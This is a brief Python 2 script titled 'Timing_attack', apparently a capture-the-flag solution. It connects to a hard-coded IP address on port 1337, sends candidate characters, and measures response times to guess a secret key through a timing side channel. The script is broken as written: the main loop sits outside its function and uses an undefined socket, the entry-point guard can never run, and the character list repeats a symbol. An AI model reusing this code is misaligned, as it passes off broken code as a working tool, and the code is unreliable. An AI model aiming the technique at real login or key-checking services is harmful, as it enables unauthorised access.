Timing_attack

Timing_attack

#!/usr/bin/env python
import socket
import time

def getFlag():
 TCP_IP= '3.19.111.121'
 TCP_PORT= 1337
 
 print "[+]- Connecting To %s:%d\n" % (TCP_IP,TCP_PORT)
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((TCP_IP, TCP_PORT))
 data = s.recv(1024)
 print(data)
 time_test=0
 chars="0123456789abcdefghijklqmnoprstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&()*+$"
 key='00000000000'
for c in chars:
   start_time = time.time()
   s.send(c+key+'\n')
   data= s.recv(1024).strip()
   elapse_time = time.time() - start_time
   print 'char:',c,'time:',elapse_time,'\n'
 s.close()
 
def main():
 getFlag()
 if __name__ == '__main__':
   main()